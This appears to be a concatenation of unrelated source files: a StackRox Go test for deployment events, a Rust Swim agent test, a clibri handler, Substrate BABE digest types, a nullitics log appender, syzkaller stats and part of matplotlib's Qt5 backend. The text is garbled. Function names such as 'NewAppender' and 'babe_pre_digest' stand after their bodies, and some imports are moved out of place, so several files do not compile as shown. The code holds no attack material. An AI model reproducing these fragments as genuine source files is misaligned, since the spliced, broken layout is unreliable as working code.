"docker-pullable://docker.io/stackrox/policy-engine@sha256:6b561c3bb9fed1b028520cce3852e6c9a6a91161df9b92ca0c3a20ebecc0581a", ContainerID: "docker://35669191c32a9cfb532e5d79b09f2b0926c0faf27e7543f1fbe433bd94ae78d7", }, }, }, Spec: v1.PodSpec{ NodeName: "mynode", Containers: []v1.Container{ { Name: "container1", Image: "docker.io/stackrox/kafka:latest", }, { Name: "container2", Image: "docker.io/stackrox/policy-engine:1.3", }, }, }, }, }, }, systemNamespaces: orchestratornamespaces.Singleton(), expectedDeployment: &storage.Deployment{ Id: "FooID", ClusterId: testClusterID, Name: "deployment", Namespace: "namespace", OrchestratorComponent: false, NamespaceId: "FAKENSID", Type: kubernetes.Deployment, LabelSelector: &storage.LabelSelector{ MatchLabels: map[string]string{}, }, Created: &timestamp.Timestamp{Seconds: 1000}, ImagePullSecrets: []string{}, Tolerations: []*storage.Toleration{}, ServiceAccount: "default", AutomountServiceAccountToken: true, Containers: []*storage.Container{ { Id: "FooID:container1", Name: "container1", Image: &storage.ContainerImage{ Name: &storage.ImageName{ Registry: "docker.io", Remote: "stackrox/kafka", Tag: "latest", FullName: "docker.io/stackrox/kafka:latest", }, NotPullable: false, }, Config: &storage.ContainerConfig{ Env: []*storage.ContainerConfig_EnvironmentConfig{}, }, SecurityContext: &storage.SecurityContext{}, Resources: &storage.Resources{}, LivenessProbe: &storage.LivenessProbe{Defined: false}, ReadinessProbe: &storage.ReadinessProbe{Defined: false}, }, { Id: "FooID:container2", Name: "container2", Image: &storage.ContainerImage{ Id: "sha256:6b561c3bb9fed1b028520cce3852e6c9a6a91161df9b92ca0c3a20ebecc0581a", Name: &storage.ImageName{ Registry: "docker.io", Remote: "stackrox/policy-engine", Tag: "1.3", FullName: "docker.io/stackrox/policy-engine:1.3", }, NotPullable: false, }, Config: &storage.ContainerConfig{ Env: []*storage.ContainerConfig_EnvironmentConfig{}, }, SecurityContext: &storage.SecurityContext{}, Resources: &storage.Resources{}, LivenessProbe: &storage.LivenessProbe{Defined: false}, ReadinessProbe: &storage.ReadinessProbe{Defined: false}, }, }, }, }, { name: "Orchestrator deployment", inputObj: &v1beta1.Deployment{ TypeMeta: metav1.TypeMeta{ APIVersion: "v1beta1", Kind: "Deployment", }, ObjectMeta: metav1.ObjectMeta{ UID: types.UID("FooID"), Name: "deployment", Namespace: "kube-system", CreationTimestamp: metav1.NewTime(time.Unix(1000, 0)), }, Spec: v1beta1.DeploymentSpec{ Selector: &metav1.LabelSelector{ MatchLabels: make(map[string]string), }, Template: v1.PodTemplateSpec{ Spec: v1.PodSpec{ Containers: []v1.Container{ { Name: "container1", Image: "docker.io/stackrox/kafka:latest", }, }, }, }, }, }, deploymentType: kubernetes.Deployment, action: central.ResourceAction_UPDATE_RESOURCE, podLister: &mockPodLister{ pods: []*v1.Pod{ { ObjectMeta: metav1.ObjectMeta{ UID: types.UID("ebf487f0-a7c3-11e8-8600-42010a8a0066"), Name: "deployment-blah-blah", Namespace: "myns", OwnerReferences: []metav1.OwnerReference{ { UID: "FooID", Kind: kubernetes.Deployment, }, }, }, Status: v1.PodStatus{ ContainerStatuses: []v1.ContainerStatus{ { Name: "container1", Image: "docker.io/stackrox/kafka:latest", }, { Name: "container2", Image: "docker.io/stackrox/policy-engine:1.3", ImageID: "docker-pullable://docker.io/stackrox/policy-engine@sha256:6b561c3bb9fed1b028520cce3852e6c9a6a91161df9b92ca0c3a20ebecc0581a", ContainerID: "docker://35669191c32a9cfb532e5d79b09f2b0926c0faf27e7543f1fbe433bd94ae78d7", }, }, }, Spec: v1.PodSpec{ NodeName: "mynode", Containers: []v1.Container{ { Name: "container1", Image: "docker.io/stackrox/kafka:latest", }, { Name: "container2", Image: "docker.io/stackrox/policy-engine:1.3", }, }, }, }, }, }, systemNamespaces: orchestratornamespaces.Singleton(), expectedDeployment: &storage.Deployment{ Id: "FooID", ClusterId: testClusterID, Name: "deployment", Namespace: "kube-system", OrchestratorComponent: true, NamespaceId: "KUBESYSID", Type: kubernetes.Deployment, LabelSelector: &storage.LabelSelector{ MatchLabels: map[string]string{}, }, Created: &timestamp.Timestamp{Seconds: 1000}, ImagePullSecrets: []string{}, Tolerations: []*storage.Toleration{}, ServiceAccount: "default", AutomountServiceAccountToken: true, Containers: []*storage.Container{ { Id: "FooID:container1", Name: "container1", Image: &storage.ContainerImage{ Name: &storage.ImageName{ Registry: "docker.io", Remote: "stackrox/kafka", Tag: "latest", FullName: "docker.io/stackrox/kafka:latest", }, NotPullable: false, }, Config: &storage.ContainerConfig{ Env: []*storage.ContainerConfig_EnvironmentConfig{}, }, SecurityContext: &storage.SecurityContext{}, Resources: &storage.Resources{}, LivenessProbe: &storage.LivenessProbe{Defined: false}, ReadinessProbe: &storage.ReadinessProbe{Defined: false}, }, { Id: "FooID:container2", Name: "container2", Image: &storage.ContainerImage{ Id: "sha256:6b561c3bb9fed1b028520cce3852e6c9a6a91161df9b92ca0c3a20ebecc0581a", Name: &storage.ImageName{ Registry: "docker.io", Remote: "stackrox/policy-engine", Tag: "1.3", FullName: "docker.io/stackrox/policy-engine:1.3",
NotPullable: false, }, Config: &storage.ContainerConfig{ Env: []*storage.ContainerConfig_EnvironmentConfig{}, }, SecurityContext: &storage.SecurityContext{}, Resources: &storage.Resources{}, LivenessProbe: &storage.LivenessProbe{Defined: false}, ReadinessProbe: &storage.ReadinessProbe{Defined: false}, }, }, }, }, } for _, c := range cases { t.Run(c.name, func(t *testing.T) { actual := newDeploymentEventFromResource(c.inputObj, &c.action, c.deploymentType, testClusterID, c.podLister, mockNamespaceStore, hierarchyFromPodLister(c.podLister), "", c.systemNamespaces).GetDeployment() if actual != nil { actual.StateTimestamp = 0 } assert.Equal(t, c.expectedDeployment, actual) }) } }
},
swim_agent_single_lane.rs
// Copyright 2015-2021 Swim Inc. // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an "AS IS" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. use swim_server::agent::lane::model::command::CommandLane;
use swim_server::{command_lifecycle, SwimAgent}; mod swim_server { pub use crate::*; } #[test] fn main() { #[derive(Debug)] pub struct TestAgentConfig; #[command_lifecycle(agent = "TestAgent", command_type = "i32", on_command)] struct CommandLifecycle; impl CommandLifecycle { async fn on_command<Context>( &self, _command: &i32, _model: &CommandLane<i32>, _context: &Context, ) where Context: AgentContext<TestAgent> + Sized + Send + Sync + 'static, { unimplemented!() } } #[derive(Debug, SwimAgent)] #[agent(config = "TestAgentConfig")] pub struct TestAgent { #[lifecycle(name = "CommandLifecycle")] pub command: CommandLane<i32>, } }
use swim_server::agent::AgentContext;
structf.rs
use super::{ hub, identification, pack, producer::Control, protocol, responses, Context, HandlerError, ProducerError, }; use clibri::server; pub async fn
<E: server::Error, C: server::Control<E> + Send + Clone>( identification: &identification::Identification, filter: hub::filter::Filter, context: &Context, request: &protocol::StructF, sequence: u32, control: &Control<E, C>, ) -> Result<(), HandlerError> { let uuid = identification.uuid(); let buffer = match responses::structf::response(identification, filter, context, request, control).await { Ok(mut response) => pack(&sequence, &uuid, &mut response)?, Err(mut error) => pack(&sequence, &uuid, &mut error)?, }; control .send(buffer, Some(uuid)) .await .map_err(|e: ProducerError<E>| HandlerError::Processing(e.to_string())) }
process
digests.rs
// This file is part of Substrate. // Copyright (C) 2019-2020 Parity Technologies (UK) Ltd. // SPDX-License-Identifier: Apache-2.0 // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an "AS IS" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. //! Private implementation details of BABE digests. use super::{ AllowedSlots, AuthorityId, AuthorityIndex, AuthoritySignature, BabeAuthorityWeight, BabeEpochConfiguration, SlotNumber, BABE_ENGINE_ID, }; use codec::{Codec, Decode, Encode}; use sp_std::vec::Vec; use sp_runtime::{generic::OpaqueDigestItemId, DigestItem, RuntimeDebug}; use sp_consensus_vrf::schnorrkel::{Randomness, VRFOutput, VRFProof}; /// Raw BABE primary slot assignment pre-digest. #[derive(Clone, RuntimeDebug, Encode, Decode)] pub struct PrimaryPreDigest { /// Authority index pub authority_index: super::AuthorityIndex, /// Slot number pub slot_number: SlotNumber, /// VRF output pub vrf_output: VRFOutput, /// VRF proof pub vrf_proof: VRFProof, } /// BABE secondary slot assignment pre-digest. #[derive(Clone, RuntimeDebug, Encode, Decode)] pub struct SecondaryPlainPreDigest { /// Authority index /// /// This is not strictly-speaking necessary, since the secondary slots /// are assigned based on slot number and epoch randomness. But including /// it makes things easier for higher-level users of the chain data to /// be aware of the author of a secondary-slot block. pub authority_index: super::AuthorityIndex, /// Slot number pub slot_number: SlotNumber, } /// BABE secondary deterministic slot assignment with VRF outputs. #[derive(Clone, RuntimeDebug, Encode, Decode)] pub struct SecondaryVRFPreDigest { /// Authority index pub authority_index: super::AuthorityIndex, /// Slot number pub slot_number: SlotNumber, /// VRF output pub vrf_output: VRFOutput, /// VRF proof pub vrf_proof: VRFProof, } /// A BABE pre-runtime digest. This contains all data required to validate a /// block and for the BABE runtime module. Slots can be assigned to a primary /// (VRF based) and to a secondary (slot number based). #[derive(Clone, RuntimeDebug, Encode, Decode)] pub enum PreDigest { /// A primary VRF-based slot assignment. #[codec(index = "1")] Primary(PrimaryPreDigest), /// A secondary deterministic slot assignment. #[codec(index = "2")] SecondaryPlain(SecondaryPlainPreDigest), /// A secondary deterministic slot assignment with VRF outputs. #[codec(index = "3")] SecondaryVRF(SecondaryVRFPreDigest), } impl PreDigest { /// Returns the slot number of the pre digest. pub fn authority_index(&self) -> AuthorityIndex { match self { PreDigest::Primary(primary) => primary.authority_index, PreDigest::SecondaryPlain(secondary) => secondary.authority_index, PreDigest::SecondaryVRF(secondary) => secondary.authority_index, } } /// Returns the slot number of the pre digest. pub fn slot_number(&self) -> SlotNumber { match self { PreDigest::Primary(primary) => primary.slot_number, PreDigest::SecondaryPlain(secondary) => secondary.slot_number, PreDigest::SecondaryVRF(secondary) => secondary.slot_number, } } /// Returns the weight _added_ by this digest, not the cumulative weight /// of the chain. pub fn added_weight(&self) -> crate::BabeBlockWeight { match self { PreDigest::Primary(_) => 1, PreDigest::SecondaryPlain(_) | PreDigest::SecondaryVRF(_) => 0, } } /// Returns the VRF output, if it exists. pub fn vrf_output(&self) -> Option<&VRFOutput> { match self { PreDigest::Primary(primary) => Some(&primary.vrf_output), PreDigest::SecondaryVRF(secondary) => Some(&secondary.vrf_output), PreDigest::SecondaryPlain(_) => None, } } } /// Information about the next epoch. This is broadcast in the first block /// of the epoch. #[derive(Decode, Encode, PartialEq, Eq, Clone, RuntimeDebug)] pub struct NextEpochDescriptor { /// The authorities. pub authorities: Vec<(AuthorityId, BabeAuthorityWeight)>, /// The value of randomness to use for the slot-assignment. pub randomness: Randomness, } /// Information about the next epoch config, if changed. This is broadcast in the first /// block of the epoch, and applies using the same rules as `NextEpochDescriptor`. #[derive(Decode, Encode, PartialEq, Eq, Clone, RuntimeDebug)] pub enum NextConfigDescriptor { /// Version 1. #[codec(index = "1")] V1 { /// Value of `c` in `BabeEpochConfiguration`. c: (u64, u64), /// Value of `allowed_slots` in `BabeEpochConfiguration`. allowed_slots: AllowedSlots, } } impl From<NextConfigDescriptor> for BabeEpochConfiguration { fn from(desc: NextConfigDescriptor) -> Self { match desc { NextConfigDescriptor::V1 { c, allowed_slots } => Self { c, allowed_slots }, } } } /// A digest item which is usable with BABE consensus. pub trait CompatibleDigestItem: Sized { /// Construct a digest item which contains a BABE pre-digest. fn babe_pre_digest(seal: PreDigest) -> Self; /// If this item is an BABE pre-digest, return it. fn as_babe_pre_digest(&self) -> Option<PreDigest>; /// Construct a digest item which contains a BABE seal. fn babe_seal(signature: AuthoritySignature) -> Self; /// If this item is a BABE signature, return the signature. fn as_babe_seal(&self) -> Option<AuthoritySignature>; /// If this item is a BABE epoch descriptor, return it. fn as_next_epoch_descriptor(&self) -> Option<NextEpochDescriptor>; /// If this item is a BABE config descriptor, return it. fn as_next_config_descriptor(&self) -> Option<NextConfigDescriptor>; } impl<Hash> CompatibleDigestItem for DigestItem<Hash> where Hash: Send + Sync + Eq + Clone + Codec + 'static { fn
(digest: PreDigest) -> Self { DigestItem::PreRuntime(BABE_ENGINE_ID, digest.encode()) } fn as_babe_pre_digest(&self) -> Option<PreDigest> { self.try_to(OpaqueDigestItemId::PreRuntime(&BABE_ENGINE_ID)) } fn babe_seal(signature: AuthoritySignature) -> Self { DigestItem::Seal(BABE_ENGINE_ID, signature.encode()) } fn as_babe_seal(&self) -> Option<AuthoritySignature> { self.try_to(OpaqueDigestItemId::Seal(&BABE_ENGINE_ID)) } fn as_next_epoch_descriptor(&self) -> Option<NextEpochDescriptor> { self.try_to(OpaqueDigestItemId::Consensus(&BABE_ENGINE_ID)) .and_then(|x: super::ConsensusLog| match x { super::ConsensusLog::NextEpochData(n) => Some(n), _ => None, }) } fn as_next_config_descriptor(&self) -> Option<NextConfigDescriptor> { self.try_to(OpaqueDigestItemId::Consensus(&BABE_ENGINE_ID)) .and_then(|x: super::ConsensusLog| match x { super::ConsensusLog::NextConfigData(n) => Some(n), _ => None, }) } }
babe_pre_digest
log.go
package nullitics import ( "bufio" "io" "os" "path/filepath" "strconv" "strings" "time" ) // Appender is an append-only log writer. type Appender struct { f *os.File start time.Time sb strings.Builder } // NewAppender creates an Appender for the given log filename. It may // optionally truncate the log file before using it. func
(filename string, truncate bool) (*Appender, error) { flags := os.O_RDWR | os.O_CREATE if truncate { flags = flags | os.O_TRUNC } _ = os.MkdirAll(filepath.Dir(filename), 0777) f, err := os.OpenFile(filename, flags, 0666) if err != nil { return nil, err } // Read timestamp, if any. Start time is zero if the log file is empty buf := make([]byte, 64) n, err := f.Read(buf) if n == 0 && err == io.EOF { return &Appender{f: f}, nil } else if err != nil { return nil, err } unix := int64(0) for i := 0; i < n; i++ { if buf[i] >= '0' && buf[i] <= '9' { unix = unix*10 + int64(buf[i]-'0') } else { break } } // Jump to the end of the file for appending if _, err := f.Seek(0, io.SeekEnd); err != nil { return nil, err } return &Appender{f: f, start: time.Unix(unix, 0)}, nil } // StartTime returns the timestamp of the first hit in the log. func (ap *Appender) StartTime() time.Time { return ap.start } // Close shuts down the appender. func (ap *Appender) Close() error { return ap.f.Close() } // Append write hit data to the end of the log file. func (ap *Appender) Append(hit *Hit) error { ap.sb.Reset() ap.sb.WriteString(strconv.FormatInt(hit.Timestamp.Unix(), 10)) ap.sb.WriteByte(',') ap.sb.WriteString(hit.URI) ap.sb.WriteByte(',') ap.sb.WriteString(hit.Session) ap.sb.WriteByte(',') ap.sb.WriteString(hit.Ref) ap.sb.WriteByte(',') ap.sb.WriteString(hit.Country) ap.sb.WriteByte(',') ap.sb.WriteString(hit.Device) ap.sb.WriteByte('\n') _, err := ap.f.Write([]byte(ap.sb.String())) if err == nil && ap.start.IsZero() { ap.start = hit.Timestamp } return err } // ParseAppendLog read the log file, assuming the timestamps are in the given // time zone, and returns a Stats object with hourly precision. func ParseAppendLog(filename string, location *time.Location) (*Stats, error) { stats := &Stats{ Interval: time.Hour, URIs: Frame{len: 24}, Sessions: Frame{len: 24}, Refs: Frame{len: 24}, Countries: Frame{len: 24}, Devices: Frame{len: 24}, } f, err := os.Open(filename) if err != nil { if os.IsNotExist(err) { return stats, nil } return nil, err } defer f.Close() r := bufio.NewReader(f) sessions := map[string]bool{} for { line, err := r.ReadString('\n') if err != nil { if err != io.EOF { return nil, err } break } if len(line) > 0 && line[len(line)-1] == '\n' { line = line[:len(line)-1] } parts := strings.Split(line, ",") if len(parts) != 6 { continue } unix, err := strconv.ParseInt(parts[0], 10, 64) if err != nil { continue } timestamp := time.Unix(unix, 0).In(location) if stats.Start.IsZero() { stats.Start = date(timestamp) } hour := timestamp.Hour() if uri := parts[1]; uri != "" { stats.URIs.Row(uri).Values[hour]++ } if sess := parts[2]; sess == "" || !sessions[sess] { sessions[sess] = true stats.Sessions.Row("sessions").Values[hour]++ if ref := parts[3]; ref != "" { stats.Refs.Row(ref).Values[hour]++ } if cn := parts[4]; cn != "" { stats.Countries.Row(cn).Values[hour]++ } if dev := parts[5]; dev != "" { stats.Devices.Row(dev).Values[hour]++ } } } return stats, nil }
NewAppender
stats.go
// Copyright 2018 syzkaller project authors. All rights reserved. // Use of this source code is governed by Apache 2 LICENSE that can be found in the LICENSE file. package main import ( "sync"
type Stat uint64 type Stats struct { crashes Stat crashTypes Stat crashSuppressed Stat vmRestarts Stat newInputs Stat rotatedInputs Stat execTotal Stat hubSendProgAdd Stat hubSendProgDel Stat hubSendRepro Stat hubRecvProg Stat hubRecvProgDrop Stat hubRecvRepro Stat hubRecvReproDrop Stat corpusCover Stat corpusSignal Stat corpusMemCover Stat corpusDuCover Stat maxSignal Stat mu sync.Mutex namedStats map[string]uint64 haveHub bool } func (stats *Stats) all() map[string]uint64 { m := map[string]uint64{ "crashes": stats.crashes.get(), "crash types": stats.crashTypes.get(), "suppressed": stats.crashSuppressed.get(), "vm restarts": stats.vmRestarts.get(), "new inputs": stats.newInputs.get(), "rotated inputs": stats.rotatedInputs.get(), "exec total": stats.execTotal.get(), "cover": stats.corpusCover.get(), // Pranav: added mem cover and du cover "mem cover": stats.corpusMemCover.get(), "du pair cover": stats.corpusDuCover.get(), "signal": stats.corpusSignal.get(), "max signal": stats.maxSignal.get(), } if stats.haveHub { m["hub: send prog add"] = stats.hubSendProgAdd.get() m["hub: send prog del"] = stats.hubSendProgDel.get() m["hub: send repro"] = stats.hubSendRepro.get() m["hub: recv prog"] = stats.hubRecvProg.get() m["hub: recv prog drop"] = stats.hubRecvProgDrop.get() m["hub: recv repro"] = stats.hubRecvRepro.get() m["hub: recv repro drop"] = stats.hubRecvReproDrop.get() } stats.mu.Lock() defer stats.mu.Unlock() for k, v := range stats.namedStats { m[k] = v } return m } func (stats *Stats) mergeNamed(named map[string]uint64) { stats.mu.Lock() defer stats.mu.Unlock() if stats.namedStats == nil { stats.namedStats = make(map[string]uint64) } for k, v := range named { switch k { case "exec total": stats.execTotal.add(int(v)) default: stats.namedStats[k] += v } } } func (s *Stat) get() uint64 { return atomic.LoadUint64((*uint64)(s)) } func (s *Stat) inc() { s.add(1) } func (s *Stat) add(v int) { atomic.AddUint64((*uint64)(s), uint64(v)) } func (s *Stat) set(v int) { atomic.StoreUint64((*uint64)(s), uint64(v)) }
"sync/atomic" )
backend_qt5.py
from __future__ import (absolute_import, division, print_function, unicode_literals) import six import functools import os import re import signal import sys from six import unichr import traceback import matplotlib from matplotlib._pylab_helpers import Gcf from matplotlib.backend_bases import ( _Backend, FigureCanvasBase, FigureManagerBase, NavigationToolbar2, TimerBase, cursors, ToolContainerBase, StatusbarBase) import matplotlib.backends.qt_editor.figureoptions as figureoptions from matplotlib.backends.qt_editor.formsubplottool import UiSubplotTool from matplotlib.figure import Figure from matplotlib.backend_managers import ToolManager from matplotlib import backend_tools from .qt_compat import ( QtCore, QtGui, QtWidgets, _getSaveFileName, is_pyqt5, __version__, QT_API) backend_version = __version__ # SPECIAL_KEYS are keys that do *not* return their unicode name # instead they have manually specified names SPECIAL_KEYS = {QtCore.Qt.Key_Control: 'control', QtCore.Qt.Key_Shift: 'shift', QtCore.Qt.Key_Alt: 'alt', QtCore.Qt.Key_Meta: 'super', QtCore.Qt.Key_Return: 'enter', QtCore.Qt.Key_Left: 'left', QtCore.Qt.Key_Up: 'up', QtCore.Qt.Key_Right: 'right', QtCore.Qt.Key_Down: 'down', QtCore.Qt.Key_Escape: 'escape', QtCore.Qt.Key_F1: 'f1', QtCore.Qt.Key_F2: 'f2', QtCore.Qt.Key_F3: 'f3', QtCore.Qt.Key_F4: 'f4', QtCore.Qt.Key_F5: 'f5', QtCore.Qt.Key_F6: 'f6', QtCore.Qt.Key_F7: 'f7', QtCore.Qt.Key_F8: 'f8', QtCore.Qt.Key_F9: 'f9', QtCore.Qt.Key_F10: 'f10', QtCore.Qt.Key_F11: 'f11', QtCore.Qt.Key_F12: 'f12', QtCore.Qt.Key_Home: 'home', QtCore.Qt.Key_End: 'end', QtCore.Qt.Key_PageUp: 'pageup', QtCore.Qt.Key_PageDown: 'pagedown', QtCore.Qt.Key_Tab: 'tab', QtCore.Qt.Key_Backspace: 'backspace', QtCore.Qt.Key_Enter: 'enter', QtCore.Qt.Key_Insert: 'insert', QtCore.Qt.Key_Delete: 'delete', QtCore.Qt.Key_Pause: 'pause', QtCore.Qt.Key_SysReq: 'sysreq', QtCore.Qt.Key_Clear: 'clear', } # define which modifier keys are collected on keyboard events. # elements are (mpl names, Modifier Flag, Qt Key) tuples SUPER = 0 ALT = 1 CTRL = 2 SHIFT = 3 MODIFIER_KEYS = [('super', QtCore.Qt.MetaModifier, QtCore.Qt.Key_Meta), ('alt', QtCore.Qt.AltModifier, QtCore.Qt.Key_Alt), ('ctrl', QtCore.Qt.ControlModifier, QtCore.Qt.Key_Control), ('shift', QtCore.Qt.ShiftModifier, QtCore.Qt.Key_Shift), ] if sys.platform == 'darwin': # in OSX, the control and super (aka cmd/apple) keys are switched, so # switch them back. SPECIAL_KEYS.update({QtCore.Qt.Key_Control: 'cmd', # cmd/apple key QtCore.Qt.Key_Meta: 'control', }) MODIFIER_KEYS[0] = ('cmd', QtCore.Qt.ControlModifier, QtCore.Qt.Key_Control) MODIFIER_KEYS[2] = ('ctrl', QtCore.Qt.MetaModifier, QtCore.Qt.Key_Meta) cursord = { cursors.MOVE: QtCore.Qt.SizeAllCursor, cursors.HAND: QtCore.Qt.PointingHandCursor, cursors.POINTER: QtCore.Qt.ArrowCursor, cursors.SELECT_REGION: QtCore.Qt.CrossCursor, cursors.WAIT: QtCore.Qt.WaitCursor, } # make place holder qApp = None def _create_qApp(): """ Only one qApp can exist at a time, so check before creating one. """ global qApp if qApp is None: app = QtWidgets.QApplication.instance() if app is None: # check for DISPLAY env variable on X11 build of Qt if is_pyqt5(): try: from PyQt5 import QtX11Extras is_x11_build = True except ImportError: is_x11_build = False else: is_x11_build = hasattr(QtGui, "QX11Info") if is_x11_build: display = os.environ.get('DISPLAY') if display is None or not re.search(r':\d', display): raise RuntimeError('Invalid DISPLAY variable') qApp = QtWidgets.QApplication([b"matplotlib"]) qApp.lastWindowClosed.connect(qApp.quit) else: qApp = app if is_pyqt5(): try: qApp.setAttribute(QtCore.Qt.AA_UseHighDpiPixmaps) qApp.setAttribute(QtCore.Qt.AA_EnableHighDpiScaling) except AttributeError: pass def _allow_super_init(__init__): """ Decorator for ``__init__`` to allow ``super().__init__`` on PyQt4/PySide2. """ if QT_API == "PyQt5": return __init__ else: # To work around lack of cooperative inheritance in PyQt4, PySide, # and PySide2, when calling FigureCanvasQT.__init__, we temporarily # patch QWidget.__init__ by a cooperative version, that first calls # QWidget.__init__ with no additional arguments, and then finds the # next class in the MRO with an __init__ that does support cooperative # inheritance (i.e., not defined by the PyQt4, PySide, PySide2, sip # or Shiboken packages), and manually call its `__init__`, once again # passing the additional arguments. qwidget_init = QtWidgets.QWidget.__init__ def cooperative_qwidget_init(self, *args, **kwargs): qwidget_init(self) mro = type(self).__mro__ next_coop_init = next( cls for cls in mro[mro.index(QtWidgets.QWidget) + 1:] if cls.__module__.split(".")[0] not in [ "PyQt4", "sip", "PySide", "PySide2", "Shiboken"]) next_coop_init.__init__(self, *args, **kwargs) @functools.wraps(__init__) def wrapper(self, **kwargs): try: QtWidgets.QWidget.__init__ = cooperative_qwidget_init __init__(self, **kwargs) finally: # Restore __init__ QtWidgets.QWidget.__init__ = qwidget_init return wrapper class TimerQT(TimerBase): ''' Subclass of :class:`backend_bases.TimerBase` that uses Qt timer events. Attributes ---------- interval : int The time between timer events in milliseconds. Default is 1000 ms. single_shot : bool Boolean flag indicating whether this timer should operate as single shot (run once and then stop). Defaults to False. callbacks : list Stores list of (func, args) tuples that will be called upon timer events. This list can be manipulated directly, or the functions `add_callback` and `remove_callback` can be used. ''' def __init__(self, *args, **kwargs): TimerBase.__init__(self, *args, **kwargs) # Create a new timer and connect the timeout() signal to the # _on_timer method. self._timer = QtCore.QTimer() self._timer.timeout.connect(self._on_timer) self._timer_set_interval() def _timer_set_single_shot(self): self._timer.setSingleShot(self._single) def _timer_set_interval(self): self._timer.setInterval(self._interval) def _timer_start(self): self._timer.start() def _timer_stop(self): self._timer.stop() class FigureCanvasQT(QtWidgets.QWidget, FigureCanvasBase): # map Qt button codes to MouseEvent's ones: buttond = {QtCore.Qt.LeftButton: 1, QtCore.Qt.MidButton: 2, QtCore.Qt.RightButton: 3, # QtCore.Qt.XButton1: None, # QtCore.Qt.XButton2: None, } @_allow_super_init def __init__(self, figure): _create_qApp() super(FigureCanvasQT, self).__init__(figure=figure) self.figure = figure # We don't want to scale up the figure DPI more than once. # Note, we don't handle a signal for changing DPI yet. figure._original_dpi = figure.dpi self._update_figure_dpi() # In cases with mixed resolution displays, we need to be careful if the # dpi_ratio changes - in this case we need to resize the canvas # accordingly. We could watch for screenChanged events from Qt, but
# the first paintEvent for the canvas, so instead we keep track of the # dpi_ratio value here and in paintEvent we resize the canvas if # needed. self._dpi_ratio_prev = None self._draw_pending = False self._is_drawing = False self._draw_rect_callback = lambda painter: None self.setAttribute(QtCore.Qt.WA_OpaquePaintEvent) self.setMouseTracking(True) self.resize(*self.get_width_height()) # Key auto-repeat enabled by default self._keyautorepeat = True palette = QtGui.QPalette(QtCore.Qt.white) self.setPalette(palette) def _update_figure_dpi(self): dpi = self._dpi_ratio * self.figure._original_dpi self.figure._set_dpi(dpi, forward=False) @property def _dpi_ratio(self): # Not available on Qt4 or some older Qt5. try: # self.devicePixelRatio() returns 0 in rare cases return self.devicePixelRatio() or 1 except AttributeError: return 1 def _update_dpi(self): # As described in __init__ above, we need to be careful in cases with # mixed resolution displays if dpi_ratio is changing between painting # events. # Return whether we triggered a resizeEvent (and thus a paintEvent) # from within this function. if self._dpi_ratio != self._dpi_ratio_prev: # We need to update the figure DPI. self._update_figure_dpi() self._dpi_ratio_prev = self._dpi_ratio # The easiest way to resize the canvas is to emit a resizeEvent # since we implement all the logic for resizing the canvas for # that event. event = QtGui.QResizeEvent(self.size(), self.size()) self.resizeEvent(event) # resizeEvent triggers a paintEvent itself, so we exit this one # (after making sure that the event is immediately handled). return True return False def get_width_height(self): w, h = FigureCanvasBase.get_width_height(self) return int(w / self._dpi_ratio), int(h / self._dpi_ratio) def enterEvent(self, event): FigureCanvasBase.enter_notify_event(self, guiEvent=event) def leaveEvent(self, event): QtWidgets.QApplication.restoreOverrideCursor() FigureCanvasBase.leave_notify_event(self, guiEvent=event) def mouseEventCoords(self, pos): """Calculate mouse coordinates in physical pixels Qt5 use logical pixels, but the figure is scaled to physical pixels for rendering. Transform to physical pixels so that all of the down-stream transforms work as expected. Also, the origin is different and needs to be corrected. """ dpi_ratio = self._dpi_ratio x = pos.x() # flip y so y=0 is bottom of canvas y = self.figure.bbox.height / dpi_ratio - pos.y() return x * dpi_ratio, y * dpi_ratio def mousePressEvent(self, event): x, y = self.mouseEventCoords(event.pos()) button = self.buttond.get(event.button()) if button is not None: FigureCanvasBase.button_press_event(self, x, y, button, guiEvent=event) def mouseDoubleClickEvent(self, event): x, y = self.mouseEventCoords(event.pos()) button = self.buttond.get(event.button()) if button is not None: FigureCanvasBase.button_press_event(self, x, y, button, dblclick=True, guiEvent=event) def mouseMoveEvent(self, event): x, y = self.mouseEventCoords(event) FigureCanvasBase.motion_notify_event(self, x, y, guiEvent=event) def mouseReleaseEvent(self, event): x, y = self.mouseEventCoords(event) button = self.buttond.get(event.button()) if button is not None: FigureCanvasBase.button_release_event(self, x, y, button, guiEvent=event) if is_pyqt5(): def wheelEvent(self, event): x, y = self.mouseEventCoords(event) # from QWheelEvent::delta doc if event.pixelDelta().x() == 0 and event.pixelDelta().y() == 0: steps = event.angleDelta().y() / 120 else: steps = event.pixelDelta().y() if steps: FigureCanvasBase.scroll_event( self, x, y, steps, guiEvent=event) else: def wheelEvent(self, event): x = event.x() # flipy so y=0 is bottom of canvas y = self.figure.bbox.height - event.y() # from QWheelEvent::delta doc steps = event.delta() / 120 if event.orientation() == QtCore.Qt.Vertical: FigureCanvasBase.scroll_event( self, x, y, steps, guiEvent=event) def keyPressEvent(self, event): key = self._get_key(event) if key is not None: FigureCanvasBase.key_press_event(self, key, guiEvent=event) def keyReleaseEvent(self, event): key = self._get_key(event) if key is not None: FigureCanvasBase.key_release_event(self, key, guiEvent=event) @property def keyAutoRepeat(self): """ If True, enable auto-repeat for key events. """ return self._keyautorepeat @keyAutoRepeat.setter def keyAutoRepeat(self, val): self._keyautorepeat = bool(val) def resizeEvent(self, event): # _dpi_ratio_prev will be set the first time the canvas is painted, and # the rendered buffer is useless before anyways. if self._dpi_ratio_prev is None: return w = event.size().width() * self._dpi_ratio h = event.size().height() * self._dpi_ratio dpival = self.figure.dpi winch = w / dpival hinch = h / dpival self.figure.set_size_inches(winch, hinch, forward=False) # pass back into Qt to let it finish QtWidgets.QWidget.resizeEvent(self, event) # emit our resize events FigureCanvasBase.resize_event(self) def sizeHint(self): w, h = self.get_width_height() return QtCore.QSize(w, h) def minumumSizeHint(self): return QtCore.QSize(10, 10) def _get_key(self, event): if not self._keyautorepeat and event.isAutoRepeat(): return None event_key = event.key() event_mods = int(event.modifiers()) # actually a bitmask # get names of the pressed modifier 